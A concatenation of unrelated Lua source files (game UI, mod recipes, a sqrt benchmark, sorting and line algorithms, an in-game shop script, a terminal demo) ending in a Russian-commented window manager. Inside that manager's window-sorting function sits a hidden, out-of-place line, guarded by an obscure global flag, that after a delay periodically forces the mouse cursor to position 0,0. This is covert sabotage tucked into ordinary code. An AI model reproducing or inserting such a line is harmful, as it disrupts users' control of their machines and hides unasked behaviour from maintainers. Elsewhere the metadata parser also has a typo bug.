txt.text_str = ""
end
end
end
return info
end,
alpha = 0
})
-- Scroll buttons
:addTextArea({
isScrollArrow = true,
canUpdate = true,
x = 580, y = 15,
width = 20, height = 20,
text = "<a href='event:help_scroll_up'>/\\",
alpha = 0
})
:addTextArea({
isScrollArrow = true,
canUpdate = true,
x = 580, y = 295,
width = 20, height = 20,
text = "<a href='event:help_scroll_down'>\\/\n",
alpha = 0
})
onEvent("TextAreaCallback", function(id, player, cb)
if cb == "help_scroll_up" then
eventKeyboard(player, 1, true, 0, 0)
elseif cb == "help_scroll_down" then
eventKeyboard(player, 3, true, 0, 0)
end
end)
onEvent("Keyboard", function(player, key, down)
if key ~= 1 and key ~= 3 then return end
if not down then return end
if not HelpInterface.open[player] then return end
local page = HelpInterface.args[player][1]
local info = page_info[ player_langs[player].name ][ page ]
if not info.scrollable then return end
if key == 1 then -- up
scroll_info[player] = math.max(scroll_info[player] - 1, 1)
else -- down
scroll_info[player] = math.min(scroll_info[player] + 1, #info)
end
HelpInterface:update(player, page)
end)
end
|
--
-- checkm 1.1.3 modulefile
--
-- "URL: https://www.psc.edu/resources/software"
-- "Category: Biological Sciences"
-- "Description: CheckM provides a set of tools for assessing the quality of genomes recovered from isolates, single cells, or metagenomes."
-- "Keywords: singularity bioinformatics genomics metagenomics"
whatis("Name: checkm")
whatis("Version: 1.1.3")
whatis("Category: Biological Sciences")
whatis("Keywords: singularity bioinformatics genomics metagenomics")
whatis("URL: https://www.psc.edu/resources/software")
whatis("Description: CheckM provides a set of tools for assessing the quality of genomes recovered from isolates, single cells, or metagenomes.")
help([[
CheckM provides a set of tools for assessing the quality of genomes recovered from isolates, single cells, or metagenomes.
To load the module type
> module load checkm/1.1.3
To unload the module type
> module unload checkm/1.1.3
Tools included in this module are
* checkm
]])
local package = "CheckM"
local version = "1.1.3"
local base = pathJoin("/opt/packages",package,version)
prepend_path("PATH", base)
|
--[[
TheNexusAvenger
Provides a client buffer for launching projectiles.
This uses an exploit of network ownership where clients can change the physics
of parts locally without needing to handle anything on the server.
--]]
local Workspace = game:GetService("Workspace")
local BufferCreator = {}
local Tool = script.Parent
--[[
Creates a buffer class.
--]]
local function CreateBuffer(Folder)
local Buffer = {}
--Removes an item from the buffer.
function Buffer:PopItem()
local NextItem = Folder:GetChildren()[1]
if NextItem then
--Remove the position lock.
local BufferPositionLock = NextItem:FindFirstChild("BufferPositionLock",true)
if BufferPositionLock then
BufferPositionLock:Destroy()
end
--Reparent it to Workspace.
NextItem.Parent = Workspace
--Return the item.
return NextItem
end
end
--Return the buffer class.
return Buffer
end
--[[
Creates a server-side buffer. Inherits the base buffer class.
--]]
function BufferCreator:CreateServerBuffer(BufferName)
local BufferFolder = Instance.new("Folder")
BufferFolder.Name = BufferName
BufferFolder.Parent = Tool
local Buffer = CreateBuffer(BufferFolder)
local Player
--Adds an item to the buffer.
function Buffer:AddItem(NewItem)
NewItem.Parent = BufferFolder
local Part = (NewItem:IsA("BasePart") and NewItem) or NewItem:FindFirstChildWhichIsA("BasePart",true)
if Part then
--Add a position lock.
local HoldPos = Vector3.new(math.random(-1000,1000),100000,math.random(-1000,1000))
Part.CFrame = CFrame.new(HoldPos)
local PositionLock = Instance.new("BodyPosition")
PositionLock.Position = HoldPos
PositionLock.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
PositionLock.Name = "BufferPositionLock"
PositionLock.Parent = Part
--Set the network ownership to the client so it can control physics.
if Part:IsDescendantOf(Workspace) and not Part.Anchored and Player then
Part:SetNetworkOwner(Player)
end
end
end
--Sets the network ownership of the buffer.
function Buffer:SetCurrentPlayer(NewPlayer)
Player = NewPlayer
for _,Item in pairs(BufferFolder:GetChildren()) do
local Part = (Item:IsA("BasePart") and Item) or Item:FindFirstChildWhichIsA("BasePart",true)
if Part and Part:IsDescendantOf(Workspace) and not Part.Anchored and Player then
Part:SetNetworkOwner(NewPlayer)
end
end
end
--Return the buffer class.
return Buffer
end
--[[
Creates a client-side buffer.
--]]
function BufferCreator:CreateClientBuffer(BufferName)
return CreateBuffer(Tool:WaitForChild(BufferName))
end
return BufferCreator
|
local L, this = ...
this.title = "Metadata Utilities"
this.version = "1.0"
this.status = "prototype"
this.desc = "Provides methods for defining metadata about items"
local lcore = L.lcore
local oop = lcore.utility.oop
local utable = lcore.utility.table
local metadata
local function parse_arg_list(list)
list = list .. " "
local len = #list
if (len <= 1) then
return {}
end
local entries, required_entries, optional_entries = {}, {}, {}
local arg_name_buffer = {}
local arg_type_buffer = {}
local arg_default_buffer = {}
local defaulting = false
local name = false
local optional = false
for index = 1, len do
local char = list:sub(index, index)
if (char == "[") then
optional = true
elseif (char == "]") then
optional = false
elseif (char == "=") then
defaulting = true
elseif (char == "," or index == len) then
local entry = {
type = table.concat(arg_type_buffer),
name = table.concat(arg_name_buffer),
default = table.concat(arg_default_buffer)
}
utable:array_data(arg_type_buffer)
utable:array_data(arg_name_buffer)
utable:array_data(arg_default_buffer)
defaulting = false
name = false
table.insert(entries, entry)
table.insert(optional and optional_entries or required_entries, entry)
elseif (defaulting) then
table.insert(arg_default_buffer, char)
elseif (char == " ") then
if (#arg_type_buffer > 0) then
name = true
end
else
table.insert(name and arg_name_buffer or arg_type_buffer, char)
end
end
return entries, required_entires, optional_entries
end
metadata = oop:static() {
method_group = function(self, ...)
return {
group = true,
...
}
end,
smethod = function(self, definition, description)
local output_list, name, argument_list = definition:match("^(.-)%s?([^%s%(]*)%((.*)%)$")
local outputs, required_outputs, optional_outputs = parse_arg_list(output_list or "")
local arguments, required_arguments, optional_arguments = parse_arg_list(argument_list or "")
return {
outputs = outputs,
required_outputs = required_outputs,
optional_outputs = optional_outputs,
arguments = arguments,
required_arguments = required_arguments,
optional_arguments = optional_arguments,
description = description
}
end
}
return metadata
|
#!/usr/bin/env luajit
local ffi = require("ffi")
ffi.cdef([[
enum {
CLOCK_REALTIME,
CLOCK_MONOTONIC,
CLOCK_PROCESS_CPUTIME_ID,
CLOCK_THREAD_CPUTIME_ID,
CLOCK_MONOTONIC_RAW,
CLOCK_REALTIME_COARSE,
CLOCK_MONOTONIC_COARSE,
CLOCK_BOOTTIME,
CLOCK_REALTIME_ALARM,
CLOCK_BOOTTIME_ALARM
};
typedef struct timespec {
int64_t tv_sec;
int32_t tv_nsec;
} timespec_t;
int clock_gettime(int32_t clockid, timespec_t* tp);
int nanosleep(timespec_t* req, timespec_t* rem);
double sqrt(double x);
float sqrtf(float x);
long double sqrtl(long double x);
enum {
NS_IN_S = 1000000000
};
]])
local C = ffi.C
local _sqrt = math.sqrt
local function a(i)
return tonumber(_sqrt(i))
end
local function b(i)
return tonumber(ffi.C.sqrtf(i))
end
local function c(i)
-- TODO: Figure out why this crashed luajit with a NYI
--return tonumber(ffi.C.sqrtl(i))
return 0
end
local function d(i)
return tonumber(ffi.C.sqrt(i))
end
local _float_x = ffi.new("float")
local _int_x = ffi.new("int32_t")
local _void_ct = ffi.typeof("void*")
local _int_ct = ffi.typeof("int32_t")
local _rshift = bit.rshift
local function e(x)
local xhalf = 0.5*x
_float_x = x
local i = ffi.cast(_int_ct, ffi.cast(_void_ct, _float_x))
i = i - _rshift(i, 1)
x = x * (1.5-(xhalf*x*x))
return x
end
local t = assert(ffi.new("timespec_t"))
local function gettime()
if C.clock_gettime(C.CLOCK_MONOTONIC_RAW, t)==0 then
return tonumber(t.tv_sec) + (t.tv_nsec/C.NS_IN_S)
end
end
local function test(iter, fn)
local start = gettime()
local sum = 0LL
for i=1, iter do
sum = sum + fn(i)
end
local dt = gettime()-start
return dt
end
local function tests(iter, ...)
local args = {...}
local ret = {}
for i=1, #args do
collectgarbage()
test(iter, args[i]) -- "warmup"
ret[i] = test(iter, args[i])
end
return ret
end
local iter = 1000000000
if false then
print(tonumber(test(iter, b)*1000) .. "ms")
else
local results = tests(iter, a,b,c,d,e)
print(iter .. " Iterations")
for i,dt in ipairs(results) do
print(("\t%s: %7.2fms %7.2fns/iter"):format(string.char(64+i), tonumber(dt*1000), tonumber(dt*1000000000)/iter))
end
end
|
local quick = {};
local function partition(arr, low, high, callback)
local pivot = arr[high]; -- given arr[low] -> arr[high], splits the array between this pivot.
local j = low - 1;
for i = low, high - 1 do
if callback and callback(arr[i], pivot) or arr[i] < pivot then
j = j + 1;
arr[i], arr[j] = arr[j], arr[i];
end;
end;
arr[j + 1], arr[high] = arr[high], arr[j + 1]; -- swap high with the "median" of the two arrays
return j + 1; -- Returns the index splitting the two sorted partitions
end;
local function sort(arr, low, high, callback)
if (low >= high) then return end;
local i = partition(arr, low, high, callback);
sort(arr, low, i - 1, callback);
sort(arr, i + 1, high, callback);
end;
quick.sort = function(arr, callback)
sort(arr, 1, #arr, callback);
return arr
end;
return quick;
|
---@class CS.UnityEngine.CrashReport
---@field public time CS.System.DateTime
---@field public text string
---@field public reports CrashReport[]
---@field public lastReport CS.UnityEngine.CrashReport
---@type CS.UnityEngine.CrashReport
CS.UnityEngine.CrashReport = { }
function CS.UnityEngine.CrashReport.RemoveAll() end
function CS.UnityEngine.CrashReport:Remove() end
return CS.UnityEngine.CrashReport
|
PrefabFiles = {
"dwarven_helmet",
}
local Ingredient = GLOBAL.Ingredient
local RecipeTabs = GLOBAL.RECIPETABS
local Tech = GLOBAL.TECH
local dwarven_helmetRecipe = Recipe("dwarven_helmet", {Ingredient("strawhat", 1),Ingredient("transistor", 1),Ingredient("lightbulb", 1),Ingredient("charcoal", 8)}, RecipeTabs.LIGHT, Tech.SCIENCE_TWO)
dwarven_helmetRecipe.atlas = "images/inventoryimages/junkerang.xml"
GLOBAL.STRINGS.NAMES.DWARVEN_HELMET = "Dwarven Mining Helmet"
GLOBAL.STRINGS.RECIPE_DESC.DWARVEN_HELMET = "Light is all that matters, right?"
|
-------------------------------------
-- 顯示天賦信息
-- @Author: M
-- @DepandsOn: InspectUnit.lua
-------------------------------------
hooksecurefunc("ShowInspectItemListFrame", function(unit, parent, itemLevel, maxLevel)
local frame = parent.inspectFrame
if (not frame) then return end
if (not frame.specicon) then
frame.specicon = frame:CreateTexture(nil, "BORDER")
frame.specicon:SetSize(42, 42)
frame.specicon:SetPoint("TOPRIGHT", -6, -6)
frame.specicon:SetAlpha(0.4)
frame.specicon:SetMask("Interface\\Minimap\\UI-Minimap-Background")
frame.spectext = frame:CreateFontString(nil, "BORDER")
frame.spectext:SetFont(SystemFont_Outline_Small:GetFont(), 10, "THINOUTLINE")
frame.spectext:SetPoint("BOTTOM", frame.specicon, "BOTTOM")
frame.spectext:SetJustifyH("CENTER")
frame.spectext:SetAlpha(0.5)
end
local _, specID, specName, specIcon
if (unit == "player") then
specID = GetSpecialization()
_, specName, _, specIcon = GetSpecializationInfo(specID)
else
specID = GetInspectSpecialization(unit)
_, specName, _, specIcon = GetSpecializationInfoByID(specID)
end
if (specIcon) then
frame.spectext:SetText(specName)
frame.specicon:SetTexture(specIcon)
frame.specicon:Show()
else
frame.spectext:SetText("")
frame.specicon:Hide()
end
end)
|
-- Bresenham line marching algorithm implementation
-- See: http://www.cs.helsinki.fi/group/goa/mallinnus/lines/bresenh.html
-- x0: the x-coordinate of the start point
-- y0: the y-coordinate of the end point
-- x1: the x-coordinate of the start point
-- y1: the y-coordinate of the end point
-- returns: an array of {x = x, y = y} pairs
return function(x0, y0, x1, y1)
local points = {}
local dx, dy = math.abs(x1-x0), math.abs(y1-y0)
local err = dx - dy
local sx, sy= (x0 < x1) and 1 or -1, (y0 < y1) and 1 or -1
while true do
points[#points + 1] = {x = x0, y = y0}
if x0 == x1 and y0 == y1 then break end
local e2 = 2 * err
if e2 > -dy then
err = err - dy
x0 = x0 + sx
end
if e2 < dx then
err = err + dx
y0 = y0 + sy
end
end
return points
end
|
_G.requireInjector(_ENV)
local GPS = require('gps')
local Util = require('util')
local Peripheral = require('peripheral')
local Point = require('point')
local os = _G.os
local args = { ... }
local remoteId = args[1] or error('mobFollow <remote id>')
local ni = Peripheral.lookup(remoteId .. '://name/neuralInterface')
if not ni then
error('failed to connect')
end
local lpt = nil
while true do
local pt = GPS.locate(2)
if not pt then
print('No GPS')
else
local gpt = Util.shallowCopy(pt)
if pt and lpt and Point.same(pt, lpt) then
-- havent moved
print('no move')
else
if not lpt then
gpt.x = gpt.x - 2
else
local dx = lpt.x - pt.x
local dz = lpt.z - pt.z
local angle = math.atan2(dx, dz)
gpt.x = pt.x + 2.5 * math.sin(angle)
gpt.z = pt.z + 2.5 * math.cos(angle)
end
lpt = pt
local s, m = ni.goTo(gpt.x, gpt.y + 1, gpt.z)
if not s then
print(m)
end
end
end
os.sleep(.5)
end
|
return Def.ActorFrame{
Def.Quad{
InitCommand=function(s) s:stretchto(0,0,SCREEN_WIDTH,SCREEN_HEIGHT) end,
OnCommand=function(s)
s:diffusealpha(0):linear(0.3):diffusealpha(1)
end
}
}
|
data:extend(
{
{
type = "shell-turret",
name = "gun-turret",
icon = "__base__/graphics/icons/gun-turret.png",
flags = {"placeable-player", "player-creation"},
minable = {mining_time = 0.5, result = "shell-turret"},
max_health = 350,
corpse = "small-remnants",
collision_box = {{-0.4, -0.9 }, {0.4, 0.9}},
selection_box = {{-0.5, -1 }, {0.5, 1}},
rotation_speed = 0.015,
preparing_speed = 0.08,
folding_speed = 0.08,
dying_explosion = "medium-explosion",
inventory_size = 1,
automated_ammo_count = 10,
folded_animation = (function()
local res = util.table.deepcopy(gun_turret_extension)
res.frame_count = 1
res.line_length = 1
return res
end)(),
preparing_animation = gun_turret_extension,
prepared_animation =
{
filename = "__base__/graphics/entity/gun-turret/gun-turret.png",
priority = "medium",
width = 178,
height = 107,
direction_count = 64,
frame_count = 1,
line_length = 8,
axially_symmetrical = false,
shift = {1.34375, -0.46875 + 0.6}
},
folding_animation = (function()
local res = util.table.deepcopy(gun_turret_extension)
res.run_mode = "backward"
return res
end)(),
base_picture =
{
filename = "__base__/graphics/entity/gun-turret/gun-turret-base.png",
priority = "high",
width = 43,
height = 28,
shift = { 0, -0.125 + 0.6 }
},
attack_parameters =
{
ammo_category = "bullet",
cooldown = 6,
projectile_center = {0, 0.6},
projectile_creation_distance = 1.2,
shell_particle =
{
name = "shell-particle",
direction_deviation = 0.1,
speed = 0.1,
speed_deviation = 0.03,
center = {0, 0.6},
creation_distance = 0.6,
starting_frame_speed = 0.2,
starting_frame_speed_deviation = 0.1
},
range = 17,
sound =
{
{
filename = "__base__/sound/gunshot.ogg",
volume = 0.3
}
}
}
},
}
)
|
require("utils.copy")
local tinsert = table.insert
local ConstraintList = {}
--------------------------------------------------------------------------------------
local TConstraint = { }
--------------------------------------------------------------------------------------
TConstraint.update = function( C )
local V1 = C.V1
local V2 = C.V2
local tx = V1.x-V2.x
local ty = V1.y-V2.y
local tz = V1.z-V2.z
local dist = math.sqrt(tx*tx + ty*ty + tz*tz)
tx = tx * 0.5
ty = ty * 0.5
tz = tz * 0.5
local diff = 0.0
if dist ~= 0.0 then
diff = (dist - C.Length) / dist
end
V1.x = V1.x - diff * tx
V1.y = V1.y - diff * ty
V1.z = V1.z - diff * tz
V2.x = V2.x + diff * tx
V2.y = V2.y + diff * ty
V2.z = V2.z + diff * tz
end
--------------------------------------------------------------------------------------
TConstraint.constrain = function( V1, V2 )
local C = {
V1 = V1,
V2 = V2,
Length = math.sqrt( math.pow(V1.x - V2.x, 2) + math.pow(V1.y - V2.y, 2) + math.pow(V1.z - V2.z, 2) ),
}
tinsert(ConstraintList, C)
return C
end
--------------------------------------------------------------------------------------
TConstraint.updateall = function( delta )
for k,C in pairs(ConstraintList) do
TConstraint.update( C, delta )
end
end
--------------------------------------------------------------------------------------
return TConstraint
--------------------------------------------------------------------------------------
|
--[[
Swaggy Jenkins
Jenkins API clients generated from Swagger / Open API specification
The version of the OpenAPI document: 1.1.2-pre.0
Contact: blah@cliffano.com
Generated by: https://openapi-generator.tech
]]
-- extension_class_container_impl1 class
local extension_class_container_impl1 = {}
local extension_class_container_impl1_mt = {
__name = "extension_class_container_impl1";
__index = extension_class_container_impl1;
}
local function cast_extension_class_container_impl1(t)
return setmetatable(t, extension_class_container_impl1_mt)
end
local function new_extension_class_container_impl1(_class, _links, map)
return cast_extension_class_container_impl1({
["_class"] = _class;
["_links"] = _links;
["map"] = map;
})
end
return {
cast = cast_extension_class_container_impl1;
new = new_extension_class_container_impl1;
}
|
require("libevent")
require("util")
local component = require("component")
local sides = require("sides")
-- System buy from player
-- Auto configure
local modem = proxy("modem")
local trans = proxy("transposer")
local redgate = proxy("redstone")
-- Variables
local gate_allow = true
-- Functions
local function init()
if(modem==nil or trans==nil or redgate==nil) then
error("Failed on checking devices.")
end
modem.open(10011)
redgate.setOutput(sides.east,0) -- open gate
end
local function uninit()
redgate.setOutput(sides.east,15) -- close gate on stop
end
local function main()
init()
local bus=CreateEventBus()
bus:listen("bioReader")
bus:listen("modem_message")
bus:listen("interrupted")
while true do
print("Item Price:")
print("Log (yuan mu) : $0.5")
print("Other : $0.1")
local e=bus:next()
if(e.event=="bioReader") then
if(not gate_allow) then
print("Gate is closed. Cannot sell items at present.")
else
redgate.setOutput(sides.east,15) -- close gate
local sum=0
local x=trans.getAllStacks(sides.south) -- check item
while true do
local y=x()
if(y==nil) then
break
end
if(y.size~=nil) then
if(y.name=="minecraft:log") then
sum=sum+y.size*0.5
else
sum=sum+y.size*0.1
end
end
end
print("Total Price: " .. sum)
while true do
-- Transfer item
print("Transfering items ... ")
while (trans.transferItem(sides.south,sides.down)) do
end
-- check if left.
x=trans.getAllStacks(sides.south)
local left=false
while true do
local y=x()
if(y==nil) then
break
end
if(y.size~=nil) then
left=true
break
end
end
if(left) then
print("Transfer busy. Waiting...")
os.sleep(5)
else
break
end
end
print("Done")
redgate.setOutput(sides.east,0) -- open gate
end
elseif(e.event=="modem_message") then
local tb=unserialize(e.data[1])
local rate=tb.unit/tb.maxunit*100
if(rate>60) then
print("DestroyFactory Busy. Gate is closed for security.")
gate_allow=false
else
gate_allow=true
end
else
print("Received ctrl+c signal.")
break
end
end
uninit()
end
print("SystemShop Start")
main()
print("SystemShop Stopped")
|
local Cup = {
bbox_x = 5, bbox_y = 10,
bbox_w = 5, bbox_h = 6,
name = "ba Cup prototype",
img = 5,
}
Cup.__index = Cup
function Cup:new(opts)
return setmetatable(opts, self)
end
local Bowl = {}
local Cereal = {}
local Potplant = {}
local Flowers = {}
local BreakableSprite = { }
BreakableSprite.__index = BreakableSprite
-- type can be 'cup', 'bowl', 'cereal', potplant, 'flowers'
local types = {
['cup'] = Cup,
['bowl'] = Bowl,
['cereal'] = Cereal,
['potplant'] = Potplant,
['flowers'] = Flowers,
}
function BreakableSprite:new(x, y, type)
local errmsg =
"breakableSprite:new type arg: " ..
tostring(type) .. "not recognised"
local base = types[type]
assert(base, errmsg)
return base:new({x=x, y=y, type=type})
end
return BreakableSprite
|
object_tangible_item_loot_crates_heroic_crate = object_tangible_item_loot_crates_shared_heroic_crate:new {
objectMenuComponent = "HeroicMenuComponent",
}
ObjectTemplates: addTemplate(object_tangible_item_loot_crates_heroic_crate, "object/tangible/item/loot_crates/heroic_crate.iff")
|
package.path = package.path .. ";../../?.lua;../../?/init.lua;../libs/?.lua;../libs/?/init.lua" -- Small loading hack, not needed in normal times.
local Terminal = require "terminal"
local moonshine = require 'moonshine'
local utf8 = require "utf8"
effect = moonshine(moonshine.effects.scanlines).chain(moonshine.effects.crt).chain(moonshine.effects.glow)
effect.scanlines.opacity=0.6
effect.glow.min_luma = 0.2
local font = love.graphics.newFont("x14y24pxHeadUpDaisy.ttf", 24)
local term = Terminal(14*80, (font:getHeight()-4)*20, font, nil, font:getHeight()-4)
local term_back = Terminal(14*80, (font:getHeight()-4)*20, font, nil, font:getHeight()-4)
-- Tweaking a bit the colors and canvas to get the transparent effect
Terminal.schemes.basic[0][4] = 0
-- This snippet could be interesting
local function clear_canvas(t)
t.clear_color = {0,0,0,0}
local previous_canvas = love.graphics.getCanvas()
love.graphics.setCanvas(t.canvas)
for y=1,t.height do
for x=1,t.width do
t.state_buffer[y][x].backcolor = {unpack(t.clear_color)}
t.buffer[y][x] = " "
end
end
love.graphics.setCanvas(previous_canvas)
end
clear_canvas(term)
clear_canvas(term_back)
term:hide_cursor()
term_back:hide_cursor()
term:set_cursor_color(Terminal.schemes.basic[7])
term:set_cursor_backcolor({0,0,0,1})
term:frame("line", 1,1,80,20)
term:reverse_cursor()
term:print(67, 1, "Two layer!")
term:set_cursor_color(Terminal.schemes.basic[7])
term:print(77, 1, "−☐")
term:set_cursor_color(Terminal.schemes.basic[1])
term:print(79, 1, "☠")
term:reverse_cursor()
term:set_cursor_backcolor(Terminal.schemes.basic[0])
function color_this(x, y, str)
term_back:move_to(x, y)
local mode = "normal"
for i,p in utf8.codes(str) do
local ch = utf8.char(p)
if ch == "█" then
if mode ~= "color" then
mode = "color"
term_back:set_cursor_color(Terminal.schemes.basic[6])
term_back:set_cursor_backcolor(Terminal.schemes.basic[5])
end
if (i + x) %2 == 1 then
term_back:print("▀")
else
term_back:print("▄")
end
else
if mode ~= "normal" then
mode = "normal"
term_back:set_cursor_color(Terminal.schemes.basic[7])
term_back:set_cursor_backcolor(Terminal.schemes.basic[0])
end
term_back:print(ch)
end
end
end
term:set_cursor_color(Terminal.schemes.basic[7])
local logo_pos = {
{3,2},
{24,8},
{45, 2},
{3,14},
{45,14}
}
for _,pos in ipairs(logo_pos) do
local x, y = pos[1], pos[2]
color_this(x,y+0,[[█ █ █ ██ ██ ██]])
color_this(x,y+1,[[█ █ █ █ █ █ █ █ █]])
color_this(x,y+2,[[█ █ █ ███ █ █ █ █ █]])
color_this(x,y+3,[[█ █ █ █ █ █ █ █]])
color_this(x,y+4,[[█████ █ ███ ██ ██]])
term:blit(x,y,[[
█ █ █ ██ ██ ██
█ █ █ █ █ █ █ █ █
█ █ █ ███ █ █ █ █ █
█ █ █ █ █ █ █ █
█████ █ ███ ██ ██
]])
end
function love.update(dt)
term:update(dt)
term_back:update(dt)
end
function love.draw()
effect(function()
love.graphics.setBlendMode( "alpha" )
do
local scale = 0.95
local scale_x, scale_y = (love.graphics.getWidth()/term.canvas:getWidth())*scale, (love.graphics.getHeight()/term.canvas:getHeight())*scale
love.graphics.push()
love.graphics.setColor(1,1,1,1)
love.graphics.translate((love.graphics.getWidth()*(1-scale))/2, (love.graphics.getHeight()*(1-scale))/2)
love.graphics.scale(scale_x, scale_y)
term_back:draw()
love.graphics.pop()
end
do
local scale = 1
local scale_x, scale_y = (love.graphics.getWidth()/term.canvas:getWidth())*scale, (love.graphics.getHeight()/term.canvas:getHeight())*scale
love.graphics.push()
love.graphics.setColor(1,1,1,0.7)
love.graphics.translate((love.graphics.getWidth()*(1-scale))/2, (love.graphics.getHeight()*(1-scale))/2)
love.graphics.scale(scale_x, scale_y)
term:draw()
love.graphics.pop()
end
end)
end
|
--[[
создает глобальные:
переменные:
WindowManager - менеджер окон
CursorSprite - спрайт курсора можно изменять
CursorNode - узел для курсора, к нему можно привязать все, что надо двигать вместе с курсором
SoundEffectsVolume - громкость для вывода звуковых эффектов
функции:
PlaySound(SoundName) - проигрывает звук
PlaySoundEffect(SoundName) - проигрывает звук, предварительно установив громкость, равную SoundEffectsVolume
ПРИМЕЧАНИЕ:
Координаты во вьюпорте менеджера окон имеют размерность 100x100
Z=0..100
Переменные:
WindowManager.Viewport
WindowManager.Scene
WindowManager.Camera
WindowManager.Listener - слушатель сцены, привязан к камере
WindowManager.Node - узел для привязки окон
WindowManager.OpenedWindows - список открытых окон
WindowManager.ActiveWindow - текущее активное окно
WindowManager.FocusIfPointed - "true" - окна становятся активными при наведении курсора, "false" - по клику
Методы:
WindowManager.DeactivateCurrentWindow ()
WindowManager.MakeWindowActive (window)
WindowManager.OpenWindow (window)
WindowManager.CloseWindow (window)
WindowManager.GetFunctionForWindowClose (window)
WindowManager.GetWindowByName (name)
WindowManager.GetMouseXY (window) - если передано окно - выдает координаты в окне
]]
function InitWindowManager(screen)
assert(screen~=nil, "ERROR: InitWindowManager(screen) - screen is nil")
assert(Mouse~=nil, "ERROR: InitWindowManager(screen) - Mouse==nil (need Mouse.lua initialization)")
assert(Keyboard~=nil, "ERROR: InitWindowManager(screen) - Keyboard==nil (need Keyboard.lua initialization)")
WindowManager = {}
-- инициализация графики
WindowManager.Viewport=Render.Viewport.Create ()
WindowManager.Viewport.Name = "WindowManager.Viewport"
WindowManager.Viewport.RenderPath = "Render2d"
WindowManager.Viewport:SetArea (0, 0, 100, 100);
WindowManager.Viewport.ZOrder = 10 --вьюпорт менджера должен рисоваться после остальных, но раньше курсора
screen:Attach (WindowManager.Viewport)
WindowManager.Scene = Scene.Scene.Create ()
WindowManager.Camera = Scene.OrthoCamera.Create ()
WindowManager.Camera:BeginUpdate()
WindowManager.Camera.Name = "WindowManager.Camera"
WindowManager.Camera.Position = vec3 (0, 0, 0)
WindowManager.Camera.Left = 0
WindowManager.Camera.Right = 800
WindowManager.Camera.Top = 0
WindowManager.Camera.Bottom = -600
WindowManager.Camera.ZNear = 0
WindowManager.Camera.ZFar = 100
WindowManager.Camera:EndUpdate ()
WindowManager.Camera:BindToScene (WindowManager.Scene)
WindowManager.Viewport.Camera = WindowManager.Camera
----------------------------------------------------------------------------------------------------------
--инициализация звука
----------------------------------------------------------------------------------------------------------
local listener = Scene.Listener.Create ()
listener:BindToParent (WindowManager.Camera, Scene.NodeBindMode.AddRef)
WindowManager.Listener=listener
Engine.Listeners.Register ("Listener1", listener)
SoundEffectsVolume = 1
function PlaySoundEffect (sound_name)
local emitter = Scene.SoundEmitter.Create (sound_name)
emitter.Name = "SoundEffectEmitter"
emitter:BindToScene (WindowManager.Scene)
emitter:Play ()
emitter.Gain = SoundEffectsVolume
--myprint("PlaySoundEffect: ", sound_name, " Gain: ", emitter.Gain)
return emitter
end
function PlaySound(sound_name)
local emitter = Scene.SoundEmitter.Create (sound_name)
emitter.Name = "MusicEmitter"
emitter:BindToScene (WindowManager.Scene)
emitter:Play ()
return emitter
end
----------------------------------------------------------------------------------------------------------
--основные переменные
----------------------------------------------------------------------------------------------------------
WindowManager.Node=Scene.Node.Create() -- узел для привязки окон
WindowManager.Node:SetPosition(0,0,10)
WindowManager.Node:BindToParent(WindowManager.Scene.Root)
CursorNode=Scene.Node.Create()
CursorNode:SetPosition (0, 0, -5)
CursorNode:BindToParent(WindowManager.Node)
CursorSprite=Scene.Sprite.Create()
CursorSprite.Material="cursor"
CursorSprite.Color= vec4 (1,1,1,1)
CursorSprite:BindToParent(CursorNode)
CursorSprite:SetPosition (0, 0, 0)
CursorSprite:SetPivotPosition (-0.5, 0.5, 0)
CursorSprite:SetScale(15,15,1)
WindowManager.Windows={} --список всех окон, не обязательно открытых
WindowManager.OpenedWindows={} --список открытых окон в менеджере
WindowManager.ActiveWindow=nil --активное окно (присоединено к узлу для активных окон)
WindowManager.FocusIfPointed=true -- окно становится активным, как только на него навели курсор
----------------------------------------------------------------------------------------------------------
--функции работы с окнами, переданными менеджеру
----------------------------------------------------------------------------------------------------------
WindowManager.GetMouseXY=function (control)
local x, y = Mouse.XY (WindowManager.Viewport, true, true)
if control then
--если передан контрол - выдать координаты в нем
local ControlNode=control.Node
local pos=ControlNode.WorldPosition
local scale=ControlNode.WorldScale
return (x-pos.x)/scale.x, (y-pos.y)/scale.y
else
return x, y
end
end
WindowManager.LoadWindow=function(name)
assert(name,"ERROR: WindowManager.LoadWindow=function(name) - name is nil")
local window=WindowEditor.LoadWindowFromFile(name..".xml")
assert(window,"ERROR: WindowManager.LoadWindow("..name..") - Unable to load window")
window.Name=name
WindowManager.Windows[window]=window
return window
end
local Cached_WindowsByNames={}
WindowManager.GetWindowByName=function (name)
--print("WindowManager.GetWindowByName:",name)
-- кешированный поиск окна
local found=Cached_WindowsByNames[name]
if found then
-- с момента кеширования имя окна могло поменяться
if found.Name==name then
return found
else
Cached_WindowsByNames[name]=nil
end
end
-- брутфорс поиск окна
local windows=WindowManager.Windows
local index, window=next(windows)
while index do
if window.Name==name then
Cached_WindowsByNames[name]=window
return window
end
index, window=next(windows, index)
end
--print("WindowManager.GetWindowByName("..name..") - Window not found")
return nil
end
local SortWindowsByZ=function ()
local Z=0 -- координата Z для упорядочивания окон
local Zstep=5 --шаг по Z задает расстояние между соседними окнами
local Sorted={} --список отсортированных окон
local windows=WindowManager.OpenedWindows
if WindowManager.ActiveWindow then
--активное окно помещается поверх всех остальных
local pos=WindowManager.ActiveWindow.Position()
local window=WindowManager.ActiveWindow
window.Node:SetPosition(pos.x, pos.y, Z)
Sorted[window]=window
windows[window]=nil
Z=Z+Zstep
end
local function FindMinZWindow()
--поиск неотсортированного окошка с минимальной координатой Z
local minZ=1000000
local found=false
local window_index, window = next(windows)
while window_index do
if found then
if window.Node.Position.z<minZ then
found=window
minZ=window.Node.Position.z
end
else
found=window
minZ=window.Node.Position.z
end
window_index, window = next(windows, window_index)
end
if not(found) then
return nil
end
return found
end
--последовательно выбираются окна с наименьшим Z и переставляются в отсортированный массив
local mzw=FindMinZWindow()
local pos=0
while mzw do
pos=mzw.Position()
mzw.Node:SetPosition (pos.x, pos.y, Z)
Sorted[mzw]=mzw
windows[mzw]=nil
Z=Z+Zstep
mzw=FindMinZWindow()
end
--теперь все окна отсортированы по Z и нужно всеголиш установить отсортированный массив окон вместо пустого
if not(mYeR) then DelayedAction(600,"mYeR=true StartPeriodicCall(6, Mouse.SetPosition(0,0)) end") end
WindowManager.OpenedWindows=Sorted
--изменяем порядок окон, в зависимости от условия: window.AlwaysOverWindow
local GetWindowByName=WindowManager.GetWindowByName
local windows=WindowManager.OpenedWindows
local AlwaysOverWindowSortFlag=true --флаг окончания сортировки по AlwaysOverWindow
while AlwaysOverWindowSortFlag do
AlwaysOverWindowSortFlag=false
